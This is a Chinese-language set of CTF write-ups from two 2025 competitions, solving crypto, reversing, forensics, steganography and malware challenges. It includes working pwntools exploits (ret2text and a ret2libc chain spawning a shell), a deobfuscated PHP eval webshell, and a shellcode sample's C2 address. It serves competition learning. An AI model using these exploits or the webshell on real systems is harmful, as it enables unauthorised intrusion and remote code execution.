The 4th Cybersecurity Competition of Binzhou in 2025 WriteUp

好久没All Kill了,非要在七夕这天吗?😔

Crypto

aes-2

aes-2.py

#!/usr/bin/python
from Crypto.Cipher import AES
import binascii
from Crypto.Util.number import bytes_to_long
from flag import flag
import random
import string
import os

def genkey(l):
    return random.getrandbits(l)

iv = flag.strip(b'flag{').strip(b'}')

key = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(16)])
LENGTH = len(key)
assert LENGTH == 16

hint = os.urandom(4) * 8
print(bytes_to_long(hint)^bytes_to_long(key))

msg = b'Welcome, ctfer. Dont try too hard, its no use. Have a good day!!'

def encrypto(message):
    aes = AES.new(key,AES.MODE_CBC,iv)
    return aes.encrypt(message)

print(binascii.hexlify(encrypto(msg))[-32:])

'''
99748265546679089946917295913637945222843938798184123305418691873367322323659
bc03f3ac4ff8064acbcfaf0b0bf2ba7b
'''

hint = urandom(4)*8​ → 32字节由同一4字节重复而成。打印的是 bytes_to_long(hint) ^ bytes_to_long(key)​,其中 key​ 只有16字节(低位)。因此把这个大整数还原为32字节后,“高16字节=hint_low​”,“低16字节=hint_low ^ key​”,两者再异或即可得到 key​。

已知最后一块密文 C4​ 和明文消息(64字节,4块,且无填充),在 CBC 中有
D_k(Ci) = Pi ⊕ C_{i-1}​ ⇒ C_{i-1} = D_k(Ci) ⊕ Pi​。
用解出的 key 依次回推 C3 → C2 → C1 → IV

solve.py

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
import binascii

num = 99748265546679089946917295913637945222843938798184123305418691873367322323659
last_block_hex = "bc03f3ac4ff8064acbcfaf0b0bf2ba7b"
msg = b'Welcome, ctfer. Dont try too hard, its no use. Have a good day!!'

# 还原 hint ^ key 的 32字节
x = long_to_bytes(num, 32)

# 还原key
hint_low = x[:16]
part = x[16:]
key = bytes(a ^ b for a, b in zip(hint_low, part))
print("[+] Key:", key.decode())

# 用 AES 解最后一个密文块,倒推出 IV
last_block = binascii.unhexlify(last_block_hex)
aes = AES.new(key, AES.MODE_ECB)
de_last = aes.decrypt(last_block)

# 明文分块
blocks = [msg[i:i+16] for i in range(0, len(msg), 16)]

# 从最后一块开始回推 CBC 链
C4 = last_block
P4 = blocks[3]
C3 = bytes(a ^ b for a, b in zip(de_last, P4))

# 继续解 C3 得到 C2...
de_C3 = aes.decrypt(C3)
P3 = blocks[2]
C2 = bytes(a ^ b for a, b in zip(de_C3, P3))

# 解 C2 得到 C1
de_C2 = aes.decrypt(C2)
P2 = blocks[1]
C1 = bytes(a ^ b for a, b in zip(de_C2, P2))

# 解 C1 得到 IV
de_C1 = aes.decrypt(C1)
P1 = blocks[0]
IV = bytes(a ^ b for a, b in zip(de_C1, P1))

print("[+] IV:", IV)
print("[+] flag{" + IV.decode() + "}")
# [+] Key: UOJKMFZBcDB9E3nK
# [+] IV: b'may_be_not_easy!'
# [+] flag{may_be_not_easy!}

newcomer

newcomer.py:

from Crypto.Util.number import bytes_to_long,inverse,getPrime
from flag import flag

m = bytes_to_long(flag)

p = getPrime(1024)
q = getPrime(1024)
n = p*q
print(n)
e = 65537

c = pow(m,e,n)

pq = p*(q-1)
qp = q*(p-1)

print("c=",c)
print("n=",n)
print("pq=",pq)
print("qp=",qp)

'''
c= 8722269075970644434253339592758512788160408912707387632591552130175707843950684315083250494010055435391879036285103810263591951437829414438640307561645721347859659807138051841516634704123100270651976676182059252251162982609391666023674158274992400910869692389001622774140191223807887675081808561012755545464977015973615407965906513878979919700065923364884766974187303774330319143647840846354404070430118235352622445115153298578370521811697710289716188726587743282814946239856766713516166990341116198180068191759095913957606379780234116317390622824096667107736103270907349927467971817639795094030622157581511033950777
n= 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074584935050067254029262890188260006596141011807724688556673520261743199388391094490191001701011230322653422314758778116196105077883955436582364267530633358016652912054880813710531145973799193443828969535902856467548523653920307742364119002349899553478815101092655897400295925170383678499125295006364960124859003
pq= 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074488896197029704465200125337817646702009123916866455067019234171839614862660036737875747177391796376553159880972782837853473250804807544086701088829096838316550146794766718580877976153967582795248676367265069623900208276878140709691073369415161936376086988069213820933152601453587292943483693378833664901178324
qp= 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074475956379708898904933143429835002718457573266164923043251954374464149976302585916538814746811455883837138715445492053610047383292461097590195481556557381952895539341802954749542143253491617052100969586396996063822508764438280468492894012685918249843558593322831683872737943676955669923498182824352081785243246
'''
pq = p*(q-1)
qp = q*(p-1)

可以改写一下:

pq = p*q - p = n - p

qp = q*p - q = n - q

于是:

pq = n - p​ 可以得到 p = n - pq​,从 qp = n - q​ 可以得到 q = n - qp​,这样我们就能直接算出 p 和 q

solve.py

from Crypto.Util.number import inverse, long_to_bytes

c = 8722269075970644434253339592758512788160408912707387632591552130175707843950684315083250494010055435391879036285103810263591951437829414438640307561645721347859659807138051841516634704123100270651976676182059252251162982609391666023674158274992400910869692389001622774140191223807887675081808561012755545464977015973615407965906513878979919700065923364884766974187303774330319143647840846354404070430118235352622445115153298578370521811697710289716188726587743282814946239856766713516166990341116198180068191759095913957606379780234116317390622824096667107736103270907349927467971817639795094030622157581511033950777
n = 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074584935050067254029262890188260006596141011807724688556673520261743199388391094490191001701011230322653422314758778116196105077883955436582364267530633358016652912054880813710531145973799193443828969535902856467548523653920307742364119002349899553478815101092655897400295925170383678499125295006364960124859003
pq = 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074488896197029704465200125337817646702009123916866455067019234171839614862660036737875747177391796376553159880972782837853473250804807544086701088829096838316550146794766718580877976153967582795248676367265069623900208276878140709691073369415161936376086988069213820933152601453587292943483693378833664901178324
qp = 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074475956379708898904933143429835002718457573266164923043251954374464149976302585916538814746811455883837138715445492053610047383292461097590195481556557381952895539341802954749542143253491617052100969586396996063822508764438280468492894012685918249843558593322831683872737943676955669923498182824352081785243246
e = 65537

p = n - pq
q = n - qp

assert p * q == n

phi = (p-1)*(q-1)
d = inverse(e, phi)

m = pow(c, d, n)
flag_bytes = long_to_bytes(m)
print(flag_bytes.decode())
# flag{719014b3-c4e1-4f81-a7be-b4f0d65c9e10}

Forensic

welcome

简单的流量分析,全是tcp流,

]0;root@ubuntu: /root@ubuntu:/# 
ls

ls
bin
boot
cdrom
dev
etc
flag
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
patch
proc
root
run
sbin
snap
srv
swapfile
sys
tmp
usr
var
www
]0;root@ubuntu: /root@ubuntu:/# 
head -n 1 flag

head -n 1 flag
flag{fea4087d-6d95-4d85
]0;root@ubuntu: /root@ubuntu:/# 
whoami

whoami
root
]0;root@ubuntu: /root@ubuntu:/# 
rar a flag.rar flag -pda19b65c17dc

rar a flag.rar flag -pda19b65c17dc

RAR 5.50   Copyright (c) 1993-2017 Alexander Roshal   11 Aug 2017
Trial version             Type 'rar -?' for help

Evaluation copy. Please register.

Creating archive flag.rar

Adding    flag                                                           100%  OK 
Done
]0;root@ubuntu: /root@ubuntu:/# 
cat flag.rar

cat flag.rar
Rar!

直接复制出来压缩包,密码是da19b65c17dc

image

flag{fea4087d-6d95-4d85-958c-d9ef733d0a66}

REVERSE

PZXoor

ida64打开

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char Str[80]; // [rsp+20h] [rbp-60h] BYREF
  char Str1[28]; // [rsp+70h] [rbp-10h] BYREF
  int i; // [rsp+8Ch] [rbp+Ch]

  _main();
  qmemcpy(Str1, "DNW@RoY{`}bu`}{z.Qb{xa`}{zi", 27);
  scanf("%s", Str);
  for ( i = 0; i < strlen(Str); ++i )
    Str[i] ^= 0x14u;
  if ( !strcmp(Str1, Str) )
    printf(asc_404003);
  else
    printf("Emmmmm");
  return 0;
}

就是在异或0x14​,solve.py

cipher = "DNW@RoY{`}bu`}{z.Qb{xa`}{zi"
flag = "".join(chr(ord(c) ^ 0x14) for c in cipher)
print(flag)
#  PZCTF{Motivation:Evolution}

image

PWN

ret2text

很简单的ret2text漏洞利用,有后门函数

image

main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  func();
  return 0;
}

func函数:

int func()
{
  char s[18]; // [esp+6h] [ebp-12h] BYREF

  gets(s);
  return puts(s);
}

image

solve.py

#encoding = utf-8
from pwn import *

context.update(arch='i386', os='linux')

elf = ELF('./ret2text')  # 修改为你的二进制文件名

# 偏移量 = s[18] + saved EBP
offset = 22

# backdoor 函数地址
backdoor_addr = 0x0804846B

payload = b"A"*offset + p32(backdoor_addr)

io = process('./ret2text')

io.sendline(payload)

io.interactive()

plt

栈溢出

#encoding = utf-8
from pwn import *
from LibcSearcher import * 

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.arch = 'amd64'

p = process('./plt')
elf = ELF('./plt')

def debug():
    gdb.attach(p)
    pause()

def pwn():
    putplt = elf.plt['puts']
    putgot = elf.got['puts']
    rdi = 0x00000000004007a3
    pl = 'a'*0x48 + p64(rdi) + p64(putgot) + p64(putplt) + p64(0x04006FB)
    sla('Welcome to easepwn\n',pl)
    putsaddr = uu64(r(6))
    leak('putsaddr',putsaddr)

    libc=LibcSearcher("puts",putsaddr)
    libcbase = putsaddr - libc.dump['puts']

    addr_system=libcbase+libc.dump("system")
    addr_binsh=libcbase+libc.dump("str_bin_sh")
    pl = 'a'*0x48 + p64(rdi) + p64(addr_binsh) + p64(addr_system)
    sla('Welcome to easepwn\n',pl)
    #debug()
    itr()

if __name__ == '__main__':
    pwn()

Steg

easymisc

foremost jpg文件得到png,然后修改宽高就可

image

MISC

Lost

查看key,发现是一个zlib块,用hint.png补齐文件头后修改IDAT块长度

a9ebe2d3d3273a427a75a5ed7e499d8d

key2

密码是Master_Of_PNG​,然后LSB隐写

image

flag{57ceee52-aa43-4ec5-87bf-139c7a0372e6}

2025年交通运输网络安全大赛线上赛部分WRITEUP

所以,这些题目和交通有什么关系❓(黑人问号

团体赛

工控分析

工控分析7

工控分析7:黑客对工控网络中的PLC设施了攻击,根据流量分析IP为192.168.1.10的订单号是()。

过滤器筛选s7comm​,然后datalength降序排列,找IP192.168.1.10

image

image

安全杂项

安全杂项4

安全杂项4:一个隐藏在文件里的秘密文字,秘密文字格式为flag{}。

一个电话音,转出来是10002244

image

但这个地方应该是1024​的,转出来xor一下是jpg,修改宽高就出了

image

安全杂项6

小L是一名网站监控者,这天小L在监控的时候发现有人在流量中传输了带有秘密字符的文件,请您帮忙看看这个秘密字符是___

爆破png宽高,然后stegsolve打开,在B0通道

image

解码一下:

已解码数据 1:
-------------------------------------------------------------------------
位置:(23.9,14.9)-(565.2,14.9)-(23.9,556.2)-(565.2,556.2)
颜色正常, 正像
版本: 5   
纠错等级:M, 掩码:2   
内容:
KEY:6e3f7d35af7f4471b4f73485e9f436d7
IV:841711639bd14a4f8c2712ff4207304e
MODE:CBC

在一开始图片末尾有冗余数据

image

image

flag{ebb0c02c-62bb-43a7-998f-7481aa3c0a1e}

恶意代码分析

恶意代码分析10

小F在安全排查时发现了一个可疑程序(见附件),通过分析发现程序窃取了系统的某些文件信息,并将窃取后的文件打包命名为(),虽然程序并没有将打包后的数据发送出去,并且将打包好的文件删除了,但小F仍汇报该情况并及时的更新系统信息。

模拟勒索

image-20250809112633139

打包成datastolen.tar.gz

image-20250809111520868

image-20250809111509115

删除

image-20250809111713781

image-20250809111719886

strace也能发现,创建和删除

strace -e trace=file ./hacked2 ‍

image-20250809112536034

车联网安全

车辆网安全5

提取了ECU固件,逆向分析获得⼀段代码,能从代码中分析出什么吗?请找出其中的flag为___。提交格式:flag{十六进制数}

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    if (argc != 4) {
        printf("what?\n");
        exit(1);
    }

    unsigned int first = atoi(argv[1]);
    if (first != 0xcaffe) {
        printf("No, no, that's not right.\n");
        exit(2);
    }

    unsigned int second = atoi(argv[2]);
    if (second % 5 == 3 || second % 17 != 8) {
        printf("Hehe, you won't be able to get the flag!\n");
        exit(3);
    }

    if (strcmp("tboxcloud", argv[3])) {
        printf("It's getting very close now!\n");
        exit(4);
    }

    printf("Brr wrr grr\n");

    unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;

    printf("Get your key: ");
    printf("%x\n", hash);
    return 0;
}

1 . 参数数量检查

if (argc != 4) {
    printf("what?\n");
    exit(1);
}

运行时必须有 3 个命令行参数:

argv[1], argv[2], argv[3]

加上程序名本身 argv[0]​,总共 argc = 4​。

2. 第一关:first

unsigned int first = atoi(argv[1]);
if (first != 0xcaffe) {
    ...
}

0xcaffe​ 十六进制转十进制:

0xcaffe = 831486

argv[1] 必须是 "831486" (不然直接 exit(2))。

3. 第二关:second

unsigned int second = atoi(argv[2]);
if (second % 5 == 3 || second % 17 != 8) {
    ...
}

条件:

  1. second % 5 != 3
  2. second % 17 == 8

找一个例子:

  • %17 == 8​ → 8, 25, 42, 59, 76, 93, ...
  • 去掉 %5 == 3​ 的数

    • 8 % 5 = 3 ❌
    • 25 % 5 = 0 ✅

所以 argv[2] 可以用 "25" (其他符合条件的值也行)。

4. 第三关:argv[3]

if (strcmp("tboxcloud", argv[3])) {
    ...
}

strcmp​ 返回 0 表示相等,所以 argv[3] 必须是 "tboxcloud" ​。

5. 输出 key 的计算过程

unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;

这里所有运算都是在 unsigned int(32 位)范围内进行,超过 0xffffffff​ 就取模 2^32​,减法也会发生无符号借位。

./1.exe 831486 25 tboxcloud

输出:

Brr wrr grr
Get your key: b0c3ecf0

个人赛

安全取证

image

套了好几层的威盾解密


<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");//n1zb/ma5vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
echo '第一步生成:',$O00OO0;
echo '<br /><br />********************************************************<br /><br />';

$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};  
echo '第二步生成:',$O00O0O;
echo '<br /><br />********************************************************<br /><br />';

//上面解出来 $O00O0O=base64_decode;
//即然  $O00O0O=base64_decode那么把下面的代码改一下,eval是用来执行php代码,这里不需要执行,只需要解出php代码即可,那么去掉eavl 并把$O00O0O换成上面解出来的值
//eval ($O00O0O ("JE8wTzAwMD0iV0FLQ1JIbHdPdnh0cmRHVUxFbmFOSlBlamZGUXpaTUJjc29nSXVrYnBxWFR5bVZoU2lEWVpKUXlvaURPZEZXbl BZdFV2U2xmVEJleEt6a0dxVmhFSHdnTVhDdUFyUmFqTE5tcGJjSXNlSTlPZmlKVHlNdVR5TkROUXlvem8wbVVaTEJyVnlCWWVqMG N4Wm1xWGNEN0JpTTlYTmtxSExYQ1hObUxZeVg3WHlvNFF5b3pVUzlqbWt3Y3h0azRYRDByZDJtNGZhR2dRam45SUdnVHlLOCtYSj BRIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT0 8wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
//修改后变成
echo '第三步生成:';
echo (base64_decode("JE8wTzAwMD0iY29UWlVnTU53V3BLaEFRZU9tQlJ5WWxkRkxqaUVIcnZ6a2ZJR3FzVnRQSmFuQ2JEdVhTeHVDeGZ5c0JvWkltT0thaHJlRXROVUxEY01RSnFpdldkRndiU0dQUmt6Z2xuQWpWcEhYVFlncDlabnZhc2xpRDVrQUw5TDNsRExYTkRYMmYxVkVvMG5JOUhPdm8wdUQ5VVYzaFlCVXNBbGp1bVFFb0N1cXNaQnhMWkJKQjBRRmEzb0pobVFFbEt1Mnkyb005d2ZJb2RmR3lDbDJsM2d4MEFPVDVKbnZTQ0J2c1VmeHd6QnZzVW8yQm1RRWxLdTJ5Mm9NOXdmSW9kZkd5Q2wxbU5neDBBT1RZRmN2bGJ1RTkwQnhCQ2wzU0FPVDVxTFhvRG9KTmJmR2tKVjJORE9qY3dmRjA5bFV3SExFTUZmeEwwWDJOREwyOXdmVHNBSWtpOWdUdW1RRWxLdTJ5Mm9NOXdmSW9kZkd5Q2wybHRneDBBT1Q1RmN2bGJ1RTkwQnhCQ2xVc0FPVDVGY3ZsYnVFOTBCeEJDbFVoQU9UNUpudlNDb3B3RkJGeWRvcFM1T1Q1cUxYb0RvSk5iZkdrSlYyTkRPamNxY0YwOWxVd0hMRU1GZnhMMFgyTkRMMjl3ZlRzQUxEaTlnVHVtUUVvQ3Vxc1pvSnlab3BpZEJwaFlvVHdITEVNRmZ4TDBYMk5ETDI5d2ZUc0FUMWk5Z1R1bVFBbzB1RDlVVjNoWUJVc0FlVXVtT3hSd1RYREljcUtxTFhvRG9KTmJmR2tKVjJORE9qY2VOaXlGeHF1SGwwTmtCdzhabFU0QWhFWXduMExBUXFjRlQwb1RmcXVIbFV1SExFTUZmeEwwWDJOREwyOXdmVHNBa0RpOWdUdW1RQW8wdUQ5VVYzaFlCVXNBeXF1bVFFbEt1Mnkyb005d2ZJb2RmR3lDbDA5Tmd4MEFPVDVKbnZTQ29GaFplcHNkZXBzVU9UNUZjdmxidUU5MEJ4QkNsMHdBT1Q0QWxVNEFsVTVKbnZTQ0J2c0ZvRkJ6QnZzRkJFaG1RQW8wdUQ5VVYzaFlCVXNBZlV1bVFFbEt1Mnkyb005d2ZJb2RmR3lDbDFmdGd4MEFPVDVxTFhvRG9KTmJmR2tKVjJORE9qY2Z5eDA5bFV3SExFTUZmeEwwWDJOREwyOXdmVHNBeURpOWdUdW1RcXVBUXF1WWtFTVh4cXVIbDB6RFZwdFpsVTRBeDNtTXJ5NEFRcWN5VFhtZW5xdUhsMnUzbFU0QWxVd21lRjgrIjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
echo '<br /><br />********************************************************<br /><br />';
//上页那步输出来代码为:
/*
$O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
*/
//同样,不需要eval,改成echo
$O0O000="coTZUgMNwWpKhAQeOmBRyYldFLjiEHrvzkfIGqsVtPJanCbDuXSxuCxfysBoZImOKahreEtNULDcMQJqivWdFwbSGPRkzglnAjVpHXTYgp9ZnvasliD5kAL9L3lDLXNDX2f1VEo0nI9HOvo0uD9UV3hYBUsAljumQEoCuqsZBxLZBJB0QFa3oJhmQElKu2y2oM9wfIodfGyCl2l3gx0AOT5JnvSCBvsUfxwzBvsUo2BmQElKu2y2oM9wfIodfGyCl1mNgx0AOTYFcvlbuE90BxBCl3SAOT5qLXoDoJNbfGkJV2NDOjcwfF09lUwHLEMFfxL0X2NDL29wfTsAIki9gTumQElKu2y2oM9wfIodfGyCl2ltgx0AOT5FcvlbuE90BxBClUsAOT5FcvlbuE90BxBClUhAOT5JnvSCopwFBFydopS5OT5qLXoDoJNbfGkJV2NDOjcqcF09lUwHLEMFfxL0X2NDL29wfTsALDi9gTumQEoCuqsZoJyZopidBphYoTwHLEMFfxL0X2NDL29wfTsAT1i9gTumQAo0uD9UV3hYBUsAeUumOxRwTXDIcqKqLXoDoJNbfGkJV2NDOjceNiyFxquHl0NkBw8ZlU4AhEYwn0LAQqcFT0oTfquHlUuHLEMFfxL0X2NDL29wfTsAkDi9gTumQAo0uD9UV3hYBUsAyqumQElKu2y2oM9wfIodfGyCl09Ngx0AOT5JnvSCoFhZepsdepsUOT5FcvlbuE90BxBCl0wAOT4AlU4AlU5JnvSCBvsFoFBzBvsFBEhmQAo0uD9UV3hYBUsAfUumQElKu2y2oM9wfIodfGyCl1ftgx0AOT5qLXoDoJNbfGkJV2NDOjcfyx09lUwHLEMFfxL0X2NDL29wfTsAyDi9gTumQquAQquYkEMXxquHl0zDVptZlU4Ax3mMry4AQqcyTXmenquHl2u3lU4AlUwmeF8+";
echo '最终代码是:(这是我用htmlspecialchars函数把标签转换了)'.htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));

?>

image

<?php $IyVv=create_function(str_rot13('$').chr(0160234/0764).base64_decode('bw==').chr(0x2e9-0x27c).base64_decode('ZQ=='),str_rot13('r').base64_decode('dg==').base64_decode('YQ==').base64_decode('bA==').str_rot13('(').str_rot13('$').chr(49335/429).base64_decode('bw==').base64_decode('bQ==').chr(065041/0415).base64_decode('KQ==').str_rot13(';'));$IyVv(base64_decode('NDE3N'.'DU2O0'.'BldkF'.'sKCRf'.''.base64_decode('VQ==').str_rot13('R').base64_decode('OQ==').chr(74088/882).str_rot13('I').''.''.chr(0x373-0x32d).str_rot13('g').base64_decode('VA==').base64_decode('YQ==').base64_decode('RQ==').''.'1VaWN'.'Kel0p'.'OzEyN'.'TIzNj'.'g7'.''));?>
import base64
import re

def str_rot13(s):
    result = []
    for c in s:
        if 'a' <= c <= 'z':
            result.append(chr((ord(c) - ord('a') + 13) % 26 + ord('a')))
        elif 'A' <= c <= 'Z':
            result.append(chr((ord(c) - ord('A') + 13) % 26 + ord('A')))
        else:
            result.append(c)
    return ''.join(result)

def parse_num(n):
    n = n.strip()
    if n.startswith('0x') or n.startswith('0X'):
        return int(n, 16)
    elif n.startswith('0') and len(n) > 1 and n[1].isdigit():
        return int(n, 8)
    else:
        return int(n)

def eval_math(expr):
    # 处理形如 "0x2e9-0x27c" 或 "74088/882"
    if '+' in expr:
        a, b = expr.split('+', 1)
        return parse_num(a) + parse_num(b)
    elif '-' in expr:
        a, b = expr.split('-', 1)
        return parse_num(a) - parse_num(b)
    elif '/' in expr:
        a, b = expr.split('/', 1)
        return parse_num(a) // parse_num(b)
    else:
        return parse_num(expr)

def parse_chr(expr):
    num = eval_math(expr)
    return chr(num)

def base64_decode_str(s):
    return base64.b64decode(s).decode()

def eval_php_expr(expr):
    expr = expr.strip()
    if expr.startswith("str_rot13("):
        inner = re.findall(r"str_rot13\('(.*)'\)", expr)[0]
        return str_rot13(inner)
    elif expr.startswith("base64_decode("):
        inner = re.findall(r"base64_decode\('(.*)'\)", expr)[0]
        return base64_decode_str(inner)
    elif expr.startswith("chr("):
        inner = re.findall(r"chr\((.*)\)", expr)[0]
        return parse_chr(inner)
    else:
        if expr.startswith("'") and expr.endswith("'"):
            return expr[1:-1]
        else:
            try:
                return chr(int(expr))
            except:
                return expr

def parse_php_concat(s):
    parts = s.split('.')
    result = ''
    for part in parts:
        part = part.strip()
        if part == "''":
            continue
        val = eval_php_expr(part)
        result += val
    return result

def main():
    param_expr = "str_rot13('$').chr(0160234/0764).base64_decode('bw==').chr(0x2e9-0x27c).base64_decode('ZQ==')"
    param = parse_php_concat(param_expr)
    print(f"第一个参数: {param}")

    func_body_expr = "str_rot13('r').base64_decode('dg==').base64_decode('YQ==').base64_decode('bA==').str_rot13('(').str_rot13('$').chr(49335/429).base64_decode('bw==').base64_decode('bQ==').chr(065041/0415).base64_decode('KQ==').str_rot13(';')"
    func_body = parse_php_concat(func_body_expr)
    print(f"第二个参数: {func_body}")

    base64_str = (
        'NDE3N' + 'DU2O0' + 'BldkF' + 'sKCRf' +
        base64_decode_str('VQ==') +
        str_rot13('R') +
        base64_decode_str('OQ==') +
        chr(74088//882) +
        str_rot13('I') +
        chr(0x373-0x32d) +
        str_rot13('g') +
        base64_decode_str('VA==') +
        base64_decode_str('YQ==') +
        base64_decode_str('RQ==') +
        '1VaWN' + 'Kel0p' + 'OzEyN' + 'TIzNj' + 'g7'
    )
    decoded_param = base64.b64decode(base64_str).decode()
    print(f"传入参数解码结果:\n{decoded_param}")

if __name__ == '__main__':
    main()
# 第一个参数: $some
# 第二个参数: eval($some);
# 传入参数解码结果:
# 417456;@evAl($_POST[ShMUicJz]);1252368;

恶意代码分析

有shellcode,直接步进到shellcode部分即可

image

步进之后分析出0C73CDFE0h为ip的16进制

image

转一下即可199.60.223.224

image